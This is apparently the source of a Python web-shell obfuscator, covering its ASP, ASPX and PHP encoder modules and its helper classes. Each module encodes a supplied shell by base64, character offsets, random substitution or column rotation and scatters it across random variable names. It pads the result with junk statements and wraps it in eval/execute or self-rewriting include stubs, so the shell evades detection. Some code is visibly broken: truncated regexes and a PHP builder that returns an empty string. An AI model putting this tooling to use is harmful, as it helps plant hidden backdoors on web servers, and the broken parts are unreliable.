22 | Decode = strOut
23 | End Function
24 |
25 | Private Function mimedecode( byVal strIn )
26 | dim B64C : B64C = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
27 | If Len( strIn ) = 0 Then
28 | mimedecode = -1 : Exit Function
29 | Else
30 | mimedecode = InStr( B64C, strIn ) - 1
31 | End If
32 | End Function
33 |
34 | end class
35 | '''
36 |
37 |
38 | class Asp(Shell):
39 |
40 | def __init__(self, path = None):
41 | Shell.__init__(self, 'asp')
42 | self.shell_path = self.Path.asp if path == None else path
43 | self.shell_text = self.Read(self.shell_path)
44 |
45 | def Encode(self, encoding):
46 | self.encoding = encoding
47 | if encoding == 'b64' : return self.Base64()
48 | if encoding == 'ord' : return self.OrdPlus()
49 | if encoding == 'rnd' : return self.Random()
50 | if encoding == 'rot' : return self.RotPlus()
51 |
52 | def Create(self, payload, add_junk = False):
53 | shell = payload + '\nexecute ' + self.vars[-1] + ' \n'
54 | if add_junk and self.encoding != 'b64' :
55 | shell = ''.join(
56 | line + ' \n' + Junk().Asp([ self.makeVars() for _ in range(4) ])[self.rndInt(1, 4)] + '\n'
57 | for line in shell.split(' \n') if line.strip() != ''
58 | )
59 | shell = '<% \non error resume next \n' + shell + '%>'
60 | return shell
61 |
62 | def Base64(self):
63 | shell_encoded = Encoders(self.Executable(self.shell_text)).Base64()
64 | junk = self.makeJunk(shell_encoded , self.an_chars)
65 | vals = self.makeVals(shell_encoded, junk)
66 | self.vars += [ self.makeVars() for _ in range(4) ]
67 |
68 | payload = 'dim ' + self.vars[0] + ', ' + self.vars[1] + ', ' + self.vars[2] + ', ' + self.vars[3] + ' \n'
69 | payload += self.vars[0] + ' = "" \n'
70 | payload += ''.join([ self.vars[0] + ' = ' + self.vars[0] + ' & "' + vals[i] + '" \n' for i in range(len(vals))])
71 | payload += VBS_B64 + ' \nset ' + self.vars[1] + ' = new Base64 \n'
72 | payload += self.vars[2] + ' = Replace( ' + self.vars[0] + ', "' + junk + '", "") \n'
73 | payload += self.vars[3] + ' = ' + self.vars[1] + '.Decode( ' + self.vars[2] + ' ) \n'
74 | return payload
75 |
76 | def OrdPlus(self):
77 | shell_encoded, ord_plus, chr_join = Encoders(self.Executable(self.shell_text)).OrdPlus()
78 | vals = self.makeVals(shell_encoded)
79 | self.vars = [ self.makeVars() for _ in range(3) ]
80 |
81 | payload = 'dim ' + self.vars[0] + ', ' + self.vars[1] + ', ' + self.vars[2] + ' \n'
82 | payload += self.vars[2] + ' = "" \n'
83 | payload += self.vars[0] + ' = "" \n'
84 | payload += ''.join([ self.vars[0] + ' = ' + self.vars[0] + ' & "' + vals[i] + '" \n' for i in range(len(vals)) ])
85 | payload += 'for each ' + self.vars[1] + ' in split(' + self.vars[0] + ', "' + chr_join + '") : '
86 | payload += self.vars[2] + ' = ' + self.vars[2] + ' & chr(' + self.vars[1] + ' - ' + str(ord_plus) + ') : next \n'
87 | return payload
88 |
89 | def Random(self):
90 | vbSpecialChars = lambda s : s.replace('"', '""').replace('\\\\', '\\').replace('\\n', '" & chr(10) & "').replace('\\t', '" & chr(9) & "')
91 | shell_encoded, cs1, cs2 = Encoders(self.Executable(self.shell_text)).Random()
92 | vals = self.makeVals(shell_encoded)
93 | self.vars = [ self.makeVars() for _ in range(4) ]
94 |
95 | payload = 'dim ' + self.vars[0] + ', ' + self.vars[1] + ', ' + self.vars[2] + ', ' + self.vars[3] + ' \n'
96 | payload += self.vars[3] + ' = "" \n'
97 | payload += self.vars[0] + ' = "" \n'
98 | payload += ''.join([
99 | self.vars[0] + ' = ' + self.vars[0] + ' & "' + vbSpecialChars(vals[i].encode('unicode-escape')) + '" \n'
100 | for i in range(len(vals))
101 | ])
102 | payload += self.vars[1] + ' = "' + vbSpecialChars(cs2.encode('unicode-escape')) + '" \n'
103 | payload += self.vars[2] + ' = "' + vbSpecialChars(cs1.encode('unicode-escape')) + '" \n'
104 | payload += 'for i = 1 to len(' + self.vars[0] + ') \n'
105 | payload += 'if instr(1, ' + self.vars[2] + ', mid(' + self.vars[0] + ', i, 1)) > 0 then '
106 | payload += self.vars[3] + ' = ' + self.vars[3] + ' & mid(' + self.vars[2] + ', instr(1, ' + self.vars[1] + ', mid(' + self.vars[0] + ', i, 1)), 1) \n'
107 | payload += 'if instr(1, ' + self.vars[2] + ', mid(' + self.vars[0] + ', i, 1)) = 0 then '
108 | payload += self.vars[3] + ' = ' + self.vars[3] + ' & mid(' + self.vars[0] + ', i, 1) \n'
109 | payload += 'next \n'
110 | return payload
111 |
112 | def RotPlus(self):
113 | vbSpecialChars = lambda s : s.replace('"', '""').replace('\n', '" & chr(10) & "').replace('\t', '" & chr(9) & "')
114 | shell_encoded, rows = Encoders(self.Executable(self.shell_text)).Rot90()
115 | vals = self.makeVals(shell_encoded)
116 | self.vars = [ self.makeVars() for _ in range(4) ]
117 |
118 | payload = 'dim ' + self.vars[0] + ', ' + self.vars[1] + ', ' + self.vars[2] + '(' + str(rows) + '), ' + self.vars[3] + ', i, r \n'
119 | payload += self.vars[1] + ' = ' + str(rows) + ' \n'
120 | payload += self.vars[0] + ' = "" \n'
121 | payload += ''.join([ self.vars[0] + ' = ' + self.vars[0] + ' & "' + vbSpecialChars(vals[i]) + '" \n' for i in range(len(vals)) ])
122 | payload += 'for i = 0 to (len(' + self.vars[0] + ') / ' + self.vars[1] + ') - 1 \n'
123 | payload += 'for r = 1 to ' + self.vars[1] + ' : '
124 | payload += self.vars[2] + '(r) = ' + self.vars[2] + '(r) & mid(' + self.vars[0] + ', r + i * ' + self.vars[1] + ', 1) : next \n'
125 | payload += 'next \n'
126 | payload += self.vars[3] + ' = trim(join(' + self.vars[2] + ', "")) \n'
127 | return payload
128 |
129 | def Executable(self, shell_data):
130 | strings = lambda string : string.replace('"', '""').replace('<%', '< %').replace('%>', '% >')
131 | parser = AspParser(shell_data)
132 | parts = parser.getParts()
133 | asp = { part : parser.stripTags(part) for part in parts['asp'] }
134 | asp = {
135 | part : 'response.write ' + asp[part].strip()[1:] + ' ' if asp[part].strip()[:1] == '=' else asp[part]
136 | for part in asp
137 | }
138 | html = {
139 | h : 'response.write ' + ' & '.join([ '"' + strings(l) + '"' for l in h.split('\n') if l.strip() != '' ])
140 | for h in parts['html']
141 | }
142 | shell_txt = parser.stripHead()
143 | for h in html : shell_txt = re.sub('((^|(?<=%>))' + re.escape(h) + '(?=(<%|$)))', '\n' + html[h] + '\n', shell_txt)
144 | for a in asp : shell_txt = shell_txt.replace(a, asp[a])
145 | return shell_txt
146 |
147 |
148 |
--------------------------------------------------------------------------------
/src/aspx.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 |
3 | from shell import Shell
4 | from util import Encoders, Junk, AspxParser
5 |
6 |
7 | class Aspx(Shell):
8 |
9 | def __init__(self, path = None):
10 | Shell.__init__(self, 'aspx')
11 | self.shell_path = self.Path.aspx if path == None else path
12 | self.shell_text = self.Read(self.shell_path)
13 |
14 | def Encode(self, encoding):
15 | if encoding == 'b64' : return self.Base64()
16 | if encoding == 'ord' : return self.OrdPlus()
17 | if encoding == 'rnd' : return self.Random()
18 | if encoding == 'rot' : return self.RotPlus()
19 |
20 | def Create(self, payload, add_junk = False):
21 | head = '<%@ Page Language="C#" Debug="true" %> \n'
22 | head += '<%@ Import namespace="System.IO" %> \n'
23 | head += '<%@ Import namespace="System.Web.Compilation" %> \n'
24 |
25 | body = 'string ' + self.vars[0] + ' = Request.PhysicalPath; \n'
26 | body += 'string ' + self.vars[1] + ' = "~/" + Request.FilePath; \n'
27 | body += 'string ' + self.vars[2] + ' = File.ReadAllText(' + self.vars[0] + '); \n'
28 | body += payload
29 | body += 'File.WriteAllText(' + self.vars[0] + ', ' + self.vars[-1] + '); \n'
30 | body += 'Page ' + self.vars[3] + ' = (Page)BuildManager.CreateInstanceFromVirtualPath(' + self.vars[1] + ', typeof(Page)); \n'
31 | body += 'File.WriteAllText(' + self.vars[0] + ', ' + self.vars[2] + '); \n'
32 | body += self.vars[3] + '.ProcessRequest(HttpContext.Current); \n'
33 |
34 | if add_junk :
35 | body = ''.join([
36 | line + ' \n' + Junk().Aspx([ self.makeVars() for _ in range(4) ])[self.rndInt(1, 4)] + ' \n'
37 | for line in body.split(' \n') if line != ''
38 | ])
39 | return head + '<% \n' + body + '%> '
40 |
41 | def Base64(self):
42 | shell_encoded = Encoders(self.shell_text).Base64()
43 | junk = self.makeJunk(shell_encoded, self.an_chars)
44 | vals = self.makeVals(shell_encoded, junk)
45 | self.vars += [ self.makeVars() for _ in range(6) ]
46 |
47 | payload = 'string ' + self.vars[4] + ' = ""; \n'
48 | payload += ''.join([ self.vars[4] + ' += "' + vals[i] + '"; \n' for i in range(len(vals)) ])
49 | payload += 'string ' + self.vars[5] + ' = Encoding.UTF8.GetString('
50 | payload += 'Convert.FromBase64String(' + self.vars[1] + '.Replace(@"' + junk + '", ""))); \n'
51 | return payload
52 |
53 | def OrdPlus(self):
54 | shell_encoded, ord_plus, chr_join = Encoders(self.shell_text).OrdPlus()
55 | vals = self.makeVals(shell_encoded)
56 | self.vars = [ self.makeVars() for _ in range(7) ]
57 |
58 | payload = 'string ' + self.vars[6] + ' = ""; \n'
59 | payload += 'string ' + self.vars[4] + ' = ""; \n'
60 | payload += ''.join([ self.vars[4] + ' += "' + vals[i] + '"; \n' for i in range(len(vals)) ])
61 | payload += 'foreach(string ' + self.vars[5] + ' in ' + self.vars[4] + '.Split(\'' + chr_join + '\')) { '
62 | payload += self.vars[6] + ' += (char)(Convert.ToInt32(' + self.vars[5] + ') - ' + str(ord_plus) + '); } \n'
63 | return payload
64 |
65 | def Random(self):
66 | clean_str = lambda s : s.encode('unicode-escape').replace('"', '\\"')
67 | shell_encoded, cs1, cs2 = Encoders(self.shell_text).Random()
68 | vals = self.makeVals(shell_encoded)
69 | self.vars = [ self.makeVars() for _ in range(8) ]
70 |
71 | payload = 'string ' + self.vars[7] + ' = ""; \n'
72 | payload += 'string ' + self.vars[4] + ' = "' + clean_str(cs1) + '"; \n'
73 | payload += 'string ' + self.vars[6] + ' = "' + clean_str(cs2) + '"; \n'
74 | payload += 'string ' + self.vars[5] + ' = ""; \n'
75 | payload += ''.join([ self.vars[5] + ' += "' + clean_str(vals[i]) + '"; \n' for i in range(len(vals)) ])
76 | payload += 'foreach(char c in ' + self.vars[5] + ') { '
77 | payload += self.vars[7] + ' += ' + self.vars[6] + '.Contains(c.ToString()) ? '
78 | payload += self.vars[4] + '[' + self.vars[6] + '.IndexOf(c)] : c; } \n'
79 | return payload
80 |
81 | def RotPlus(self):
82 | clean_str = lambda s : s.encode('unicode-escape').replace('"', '\\"')
83 | shell_encoded, rows = Encoders(self.shell_text).Rot90()
84 | vals = self.makeVals(shell_encoded)
85 | self.vars = [ self.makeVars() for _ in range(8) ]
86 |
87 | payload = 'int ' + self.vars[5] + ' = ' + str(rows) + '; \n'
88 | payload += 'string[] ' + self.vars[6] + ' = new string[' + str(rows) + ']; \n'
89 | payload += 'string ' + self.vars[4] + ' = "" ; \n'
90 | payload += ''.join([ self.vars[4] + ' += "' + clean_str(vals[i]) + '"; \n' for i in range(len(vals)) ])
91 | payload += 'for(int i = 0; i < ' + self.vars[4] + '.Length / ' + self.vars[5] + '; i++) '
92 | payload += '{ for(int r = 0; r < ' + self.vars[5] + '; r++) '
93 | payload += self.vars[6] + '[r] += ' + self.vars[4] + '[r + i * ' + self.vars[5] + ']; } \n'
94 | payload += 'string ' + self.vars[7] + ' = String.Join("", ' + self.vars[6] + ').Trim(); \n'
95 | return payload
96 |
97 |
--------------------------------------------------------------------------------
/src/php.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 |
3 | from shell import Shell
4 | from util import Encoders, Junk, PhpParser
5 |
6 |
7 | class Php(Shell):
8 |
9 | php_reserved = [
10 | '$GLOBALS', '$_SERVER', '$_REQUEST', '$_POST', '$_GET',
11 | '$_FILES', '$_ENV', '$_COOKIE', '$_SESSION',
12 | '$argc', '$argv', '$this->'
13 | ]
14 |
15 | def __init__(self, path = None):
16 | Shell.__init__(self, 'php')
17 | self.shell_path = self.Path.php if path is None else path
18 | self.shell_text = self.Read(self.shell_path)
19 |
20 | def Encode(self, encoding):
21 | encoders = {
22 | 'b64':self.Base64, 'ord':self.OrdPlus,
23 | 'rnd':self.Random, 'rot':self.RotPlus
24 | }
25 | return encoders[encoding]() if encoders.get(encoding) else None
26 |
27 | def Create(self, payload, add_junk = False):
28 | shell = self.Execution(payload)
29 | if add_junk :
30 | shell = '\n'.join(
31 | '\n'.join(
32 | [ line ] + [ Junk().Php(['$'+self.makeVars() for _ in range(4)], 'str')
33 | for _ in range(self.rndInt(0,2)) ]
34 | ) for line in shell.splitlines()
35 | ) + ' \n'
36 | shell = ''
37 | return shell
38 |
39 | def Base64(self):
40 | shell_encoded = Encoders(self.shell_text).Base64()
41 | junk = self.makeJunk(shell_encoded + 'base64_decode', self.an_chars)
42 | vals = self.makeVals(shell_encoded, junk)
43 | self.vars += [ '$' + self.makeVars() for _ in range(4) ]
44 |
45 | b64 = junk.join([ c for c in '"base64_decode"' ])
46 | payload = self.vars[0] + ' = ""; \n'
47 | payload += ''.join([ self.vars[0] + ' .= "' + v + '"; \n' for v in vals ])
48 | payload += self.vars[1] + ' = str_replace( "' + junk + '", "", ' + self.vars[0] + ' ); \n'
49 | payload += self.vars[2] + ' = str_replace( "' + junk + '", "", ' + b64 + ' ); \n'
50 | payload += self.vars[3] + ' = ' + self.vars[2] + '( ' + self.vars[1] + ' ); \n'
51 | return payload
52 |
53 | def OrdPlus(self):
54 | shell_encoded, ord_plus, chr_join = Encoders(self.shell_text).OrdPlus()
55 | vals = self.makeVals(shell_encoded)
56 | self.vars = [ '$' + self.makeVars() for _ in range(3) ]
57 |
58 | payload = self.vars[2] + ' = ""; \n'
59 | payload += self.vars[0] + ' = ""; \n'
60 | payload += ''.join([ self.vars[0] + ' .= "' + v + '"; \n' for v in vals ])
61 | payload += 'foreach(explode("' + chr_join + '", ' + self.vars[0] + ') as ' + self.vars[1] + ') '
62 | payload += self.vars[2] + ' .= chr(' + self.vars[1] + ' - ' + str(ord_plus) + '); \n'
63 | return payload
64 |
65 | def Random(self):
66 | clean_str = lambda s : s.encode('unicode-escape').replace('"', '\\"').replace("$", "\\$")
67 | shell_encoded, cs1, cs2 = Encoders(self.shell_text).Random()
68 | vals = self.makeVals(shell_encoded)
69 | self.vars = [ '$' + self.makeVars() for _ in range(4) ]
70 |
71 | payload = self.vars[3] + ' = ""; \n'
72 | payload += self.vars[0] + ' = ""; \n'
73 | payload += ''.join([ self.vars[0] + ' .= "' + clean_str(v) + '"; \n' for v in vals ])
74 | payload += self.vars[1] + ' = "' + clean_str(cs1) + '"; \n'
75 | payload += self.vars[2] + ' = "' + clean_str(cs2) + '"; \n'
76 | payload += 'foreach(str_split(' + self.vars[0] + ') as $c) { '
77 | payload += self.vars[3] + ' .= (strpos(' + self.vars[2] + ', $c) === false) ? $c : '
78 | payload += self.vars[1] + '[strpos(' + self.vars[2] + ', $c)]; } \n'
79 | return payload
80 |
81 | def RotPlus(self):
82 | clean_str = lambda s : s.encode('unicode-escape').replace('"', '\\"').replace("$", "\\$")
83 | shell_encoded, rows = Encoders(self.shell_text).Rot90()
84 | vals = self.makeVals(shell_encoded)
85 | self.vars = [ '$' + self.makeVars() for _ in range(4) ]
86 |
87 | payload = self.vars[1] + ' = ' + str(rows) + '; \n'
88 | payload += self.vars[2] + ' = array(); \n'
89 | payload += self.vars[0] + ' = "" ; \n'
90 | payload += ''.join([ self.vars[0] + ' .= "' + clean_str(v) + '"; \n' for v in vals ])
91 | payload += 'for($i = 0; $i < ' + self.vars[1] + '; $i++) ' + self.vars[2] + '[] = ""; \n'
92 | payload += 'for($i = 0; $i < (strlen(' + self.vars[0] + ') / ' + self.vars[1] + '); $i++) '
93 | payload += '{ for($r = 0; $r < ' + self.vars[1] + '; $r++) '
94 | payload += self.vars[2] + '[$r] .= ' + self.vars[0] + '[$r + $i * ' + self.vars[1] + ']; } \n'
95 | payload += self.vars[3] + ' = trim(implode("", ' + self.vars[2] + ')); \n'
96 | return payload
97 |
98 | def Execution(self, code, method = 'eval'):
99 | if method == 'eval' :
100 | payload = code
101 | payload += self.vars[-1] + ' = "?>' + self.vars[-1] + '"; \n'
102 | payload += 'eval( ' + self.vars[-1] + ' ); \n'
103 | else :
104 | self.vars += [ '$' + self.makeVars() for _ in range(2) ]
105 | payload = self.vars[-2] + ' = __file__; \n'
106 | payload += self.vars[-1] + ' = file_get_contents(' + self.vars[-2] + '); \n'
107 | payload += code
108 | payload += 'file_put_contents( ' + self.vars[-2] + ', ' + self.vars[-3] + ' ); \n'
109 | payload += 'include( ' + self.vars[-2] + ' ); \n'
110 | payload += 'file_put_contents( ' + self.vars[-2] + ', ' + self.vars[-1] + ' ); \n'
111 | return payload
112 |
113 |
--------------------------------------------------------------------------------
/src/shell.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import os
5 | from util import Strings
6 |
7 |
8 | class Shell(Strings) :
9 |
10 | def __init__(self, shell_type):
11 | self.shell_code = shell_type
12 | self.vars = []
13 |
14 | def makeVars(self):
15 | var = self.rndStr(1, self.chars) + self.rndStr(self.rndInt(6, 12), self.an_chars)
16 | return self.makeVars() if var in self.vars else var
17 |
18 | def makeVals(self, data, junk = '', size = (100, 160)):
19 | parts = []
20 | if len(data) <= size[1] :
21 | parts += [data]
22 | else :
23 | i = 0
24 | while i < len(data) :
25 | r = self.rndInt(size[0], size[1])
26 | parts += [ data[i : i + (len(data) - i if i + r > len(data) else r)] ]
27 | i += r
28 | if junk != '' : parts = [ self.addJunk(part, junk) for part in parts ]
29 | return parts
30 |
31 | def makeJunk(self, data, chars, size = 1):
32 | jnk_str = ""
33 | while jnk_str in data : jnk_str += self.rndChr(chars)
34 | while len(jnk_str) < size : jnk_str += self.rndChr(chars)
35 | return jnk_str
36 |
37 | def addJunk(self, part, junk):
38 | r = [ i for i in range(self.rndInt(1, 4), (len(part) - 1), self.rndInt(16, 24)) ]
39 | part = ''.join([ part[i] + junk if i in r else part[i] for i in range(len(part)) ])
40 | return part
41 |
42 | def Read(self, path = None):
43 | shell_path = self.shell_path if path == None else path
44 | try :
45 | with open(shell_path, 'r') as f : shell_data = f.read()
46 | except :
47 | exit("Can't access file: " + shell_path)
48 | else :
49 | return shell_data.strip()
50 |
51 | def Write(self, shell):
52 | file_name = self.rndStr(self.rndInt(4, 8), self.an_chars) + '.' + self.shell_code.lower()
53 | file_path = os.path.join(self.Path.output, file_name)
54 | try :
55 | with open(file_path, 'w') as f : f.write(shell)
56 | except :
57 | print('Couldn\'t write file: {}'.format(file_path))
58 | else :
59 | print('File: \'{}\' saved.'.format(file_name))
60 |
61 | class Path :
62 |
63 | this = os.path.dirname(os.path.abspath(__file__))
64 | root = os.path.abspath(os.path.join(this, os.pardir))
65 | shells = os.path.join(root, 'shells')
66 | output = os.path.join(root, 'output')
67 | php = os.path.join(shells, 'shell.php')
68 | asp = os.path.join(shells, 'shell.asp')
69 | aspx = os.path.join(shells, 'shell.aspx')
70 |
71 |
--------------------------------------------------------------------------------
/src/util.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/python
2 | # -*- coding: utf-8 -*-
3 |
4 | import random
5 | from base64 import b64encode
6 | import re
7 |
8 |
9 | class Strings(object) :
10 |
11 | ints = "1234567890"
12 | chars = "abcdeffhijklmnopqrstuvwxyzABCDWFGHIJKLMNOPQRSTUVWXYZ"
13 | s_chars = "!@#%^*()[]"
14 | u_chars = "ABCDWFGHIJKLMNOPQRSTUVWXYZ"
15 | l_chars = "abcdeffhijklmnopqrstuvwxyz"
16 | an_chars = "1234567890abcdeffhijklmnopqrstuvwxyzABCDWFGHIJKLMNOPQRSTUVWXYZ"
17 | all_chars = "1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;'\\ASDFGHJKL:\"|zxcvbnm,./ZXCVBNM<>? \n\t"
18 |
19 | def rndStr(self, size, charset):
20 | return ''.join(random.choice(charset) for _ in range(size))
21 |
22 | def rndInt(self, min, max):
23 | return random.randint(min, max)
24 |
25 | def rndChr(self, string):
26 | return random.choice(string)
27 |
28 |
29 | class Encoders(Strings):
30 |
31 | def __init__(self, shell):
32 | self.shell_data = shell
33 | self.shell_encoded = ""
34 |
35 | def Base64(self):
36 | self.shell_encoded = b64encode(self.shell_data)
37 | return self.shell_encoded
38 |
39 | def OrdPlus(self):
40 | ord_plus = self.rndInt(1, 1000)
41 | chr_join = self.rndStr(1, self.chars)
42 | self.shell_encoded = chr_join.join([ str(ord(s) + ord_plus) for s in self.shell_data ])
43 | return (self.shell_encoded, ord_plus, chr_join)
44 |
45 | def Random(self):
46 | cs1 = self.Str2Rnd(self.all_chars)
47 | cs2 = self.Str2Rnd(cs1)
48 | shell_data = self.UTF8Encode(self.shell_data)
49 | self.shell_encoded = ''.join([ cs2[cs1.index(c)] if c in cs1 else c for c in shell_data ])
50 | return (self.shell_encoded, cs1, cs2)
51 |
52 | def Rot90(self):
53 | shell_data = self.UTF8Encode(self.shell_data)
54 | rows = self.rndInt(2, (400 if len(shell_data) > 400 else len(shell_data) - 2))
55 | while len(shell_data) % rows != 0 : shell_data += ' '
56 | block_size = len(shell_data) / rows
57 | table = [ shell_data[ block_size * i : block_size * (i + 1) ] for i in range(rows) ]
58 | self.shell_encoded = ''.join([ ''.join([ r[i] for r in table ]) for i in range(block_size) ])
59 | return (self.shell_encoded, rows)
60 |
61 | def Str2Rnd(self, str1):
62 | str2 = ""
63 | str1_copy = str1
64 | while len(str2) < len(str1) :
65 | c = self.rndChr(str1_copy)
66 | if c in str2 or str1.find(c) == len(str2) : continue
67 | str2 += c
68 | str1_copy = str1_copy.replace(c, '')
69 | return str2
70 |
71 | def UTF8Encode(self, string):
72 | text = ''
73 | for c in string :
74 | try : text += c.encode('utf-8')
75 | except : text += ' '
76 | return text
77 |
78 |
79 | class Junk(Strings):
80 |
81 | def Php(self, vars):
82 | junk = [ '/* ' + ' '.join(self.rndStr(self.rndInt(8, 16), self.an_chars) for _ in range(self.rndInt(2, 6))) + ' */' ]
83 | junk += [ vars[0] + ' = "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; ' ]
84 | junk += [ vars[1] + ' = "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '" . "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '"; ' ]
85 | junk += [ 'if(@' + vars[2] + ' == "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '") { echo "' + self.rndStr(self.rndInt(40, 80), self.an_chars) + '"; } ' ]
86 | junk += [ 'while(' + str(self.rndInt(0, 19)) + ' > ' + str(self.rndInt(20, 80)) + ') { @' + vars[2] + ' .= "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; }' ]
87 | junk += [ 'foreach(str_split("' + self.rndStr(self.rndInt(60, 120), self.chars) + '") as ' + vars[3] + ') { @' + vars[1] + ' += ' + vars[3] + '; } ' ]
88 | return junk
89 |
90 | def Asp(self, vars):
91 | junk = [ '\' ' + ' '.join(self.rndStr(self.rndInt(8, 16), self.an_chars) for _ in range(self.rndInt(2, 6))) ]
92 | junk += [ 'dim ' + vars[0] + ' : ' + vars[0] + ' = "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '" ' ]
93 | junk += [ 'dim ' + vars[1] + ' : ' + vars[1] + ' = "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '" & "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '" ' ]
94 | junk += [ 'if ' + str(self.rndInt(1, 19)) + ' > ' + str(self.rndInt(20, 80)) + ' then dim ' + vars[2] + ' : ' + vars[2] + ' = "' + self.rndStr(self.rndInt(60, 120), self.chars) + '" ' ]
95 | junk += [ 'for ' + vars[3] + ' = 1 to len("' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '") : next ' ]
96 | return junk
97 |
98 | def Aspx(self, vars):
99 | var_ini = 'string '
100 | junk = [ '/* ' + ' '.join(self.rndStr(self.rndInt(8, 16), self.an_chars) for _ in range(self.rndInt(2, 6))) + ' */' ]
101 | junk += [ var_ini + vars[0] + ' = "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; ' ]
102 | junk += [ var_ini + vars[1] + ' = "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '" + "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '"; ' ]
103 | junk += [ 'foreach( char ' + vars[2] + ' in "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '" ) { ' + vars[2] + '.ToString(); }' ]
104 | junk += [ 'while(' + str(self.rndInt(1, 39)) + ' > ' + str(self.rndInt(40, 80)) + ') { Convert.ToInt32("' + self.rndStr(self.rndInt(40, 50), self.ints) + '"); }' ]
105 | junk += [ 'public string ' + vars[3] + '( string ' + vars[0] + ' ) { return ' + vars[0] + ' + "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; } ' ]
106 | return junk
107 |
108 | def Js(self, vars):
109 | junk = [ '/* ' + ' '.join(self.rndStr(self.rndInt(8, 16), self.an_chars) for _ in range(self.rndInt(2, 6))) + ' */' ]
110 | junk += [ 'var ' + vars[0] + ' = "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; ' ]
111 | junk += [ 'var ' + vars[1] + ' = "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '" + "' + self.rndStr(self.rndInt(40, 60), self.an_chars) + '"; ' ]
112 | junk += [ 'if(' + str(self.rndInt(1, 19)) + ' > ' + str(self.rndInt(20, 80)) + ') { alert("' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"); } ' ]
113 | junk += [ 'while(' + str(self.rndInt(1, 39)) + ' > ' + str(self.rndInt(40, 80)) + ') { var ' + vars[2] + ' = "' + self.rndStr(self.rndInt(60, 120), self.an_chars) + '"; } ' ]
114 | return junk
115 |
116 | def Html(self):
117 | junk = [ '' ]
118 | junk += [ ' ' ]
119 | return junk
120 |
121 | def Add(self, code, vars):
122 | pass
123 |
124 |
125 | class PhpParser :
126 |
127 | def __init__(self, shell):
128 | self.code = shell
129 | self.php_reserved = [
130 | '$GLOBALS', '$_SERVER', '$_REQUEST', '$_POST', '$_GET',
131 | '$_FILES', '$_ENV', '$_COOKIE', '$_SESSION',
132 | '$argc', '$argv', '$this->'
133 | ]
134 |
135 | def arraySort(self, array):
136 | tmp = []
137 | for a in array :
138 | if a not in tmp : tmp += [a]
139 | return sorted(tmp, key=len, reverse=True)
140 |
141 | def StripTags(self, code = None):
142 | if code == None : code = self.code
143 | code = code.strip()
144 | if code.lower()[:5] == "" : code = code[:-2]
147 | return code
148 |
149 | def stripComments(self, code = None):
150 | if code == None : code = self.code
151 | comments = sorted(self.Parts(code, 'comments'), key=len, reverse=True)
152 | for comment in comments : code = code.replace(comment, '')
153 | return code
154 |
155 | def Parts(self, part, get):
156 | clean_var = lambda v : v.split(' ')[0].split('.')[0].split(',')[0].split('=')[0].split(')')[0]
157 | code_rexp = {
158 | "php":"<\?.*?[\n}{;]\s*\?>", "js":"", "html":"",
159 | "php_vars":"(\$[\w]*)\s*=", "js_vars":"var\s*([\w]*)\s*[=;,]",
160 | "functions":"function\s+([\w]*)\s*\(", "classes":"class\s+([\w]*)\s*{",
161 | "strings":r"(\".*?(? 0 ]
176 | else :
177 | parts = [ r.strip() for r in re.findall(rexp, part) if r.strip() != '' ]
178 | return self.arraySort([ part.strip() for part in parts if part.strip() != '' ])
179 |
180 | def getParts(self, code = None):
181 | if code == None : code = self.code
182 | place_holder = '====' + Strings().rndStr(40, Strings().an_chars) + '===='
183 | php = self.arraySort(self.Parts(code,'php'))
184 | for p in php : code = code.replace(p, place_holder)
185 | js = self.arraySort([ j for p in self.Parts(code, 'js') for j in p.split(place_holder) if j.strip() != '' ])
186 | for j in js : code = code.replace(j, place_holder)
187 | html = self.arraySort([ h for h in code.split(place_holder) if h.strip() != '' ])
188 | vars = self.arraySort([ v for p in php for v in self.Parts(p, 'php_vars') ])
189 | strings= self.arraySort([ s for p in php for s in self.Parts(self.stripComments(p), 'strings') ])
190 | comments = self.arraySort([ c for p in php for c in self.Parts([ p.replace(s, '') for s in strings ][-1], 'comments') ])
191 | return { 'php':php, 'js':js, 'html':html, 'vars':vars, 'strings':strings, 'comments':comments }
192 |
193 |
194 | class AspParser :
195 |
196 | def __init__(self, shell):
197 | self.code = shell
198 |
199 | def arraySort(self, array):
200 | tmp = []
201 | for a in array :
202 | if a not in tmp : tmp += [a]
203 | return sorted(tmp, key=len, reverse=True)
204 |
205 | def stripTags(self, code = None):
206 | if code == None : code = self.code
207 | code = code.strip()
208 | if code[:2] == "<%" : code = code[2:]
209 | if code[-2:] == "%>" : code = code[:-2]
210 | return code
211 |
212 | def stripHead(self, code = None):
213 | if code == None : code = self.code
214 | for asp in self.getParts()['asp'] :
215 | if re.match('<%\s*@\s*language\s*=\s*[\s\'"]vbscript', asp, re.IGNORECASE) :
216 | code = code.replace(asp, '')
217 | return code
218 |
219 | def stripComments(self, code = None):
220 | if code == None : code = self.code
221 | comments = self.Parts(code, 'comments')
222 | for comment in comments : code = code.replace(comment, '')
223 | return code
224 |
225 | def Parts(self, part, get='asp'):
226 | code_rexp = {
227 | 'asp':'(<%.*?%>)', 'js':'', 'html':'',
228 | 'asp_vars':'dim\s*(.*?)[:\n]', 'js_vars':'var\s*([\w]*)\s*[=;,]',
229 | "functions":"function\s+([\w]*)\s*\(", "subs":"sub\s+([\w]*)\s*\(",
230 | 'strings':'(".*?")', 'comments':'(\'.*?)\n'
231 | }
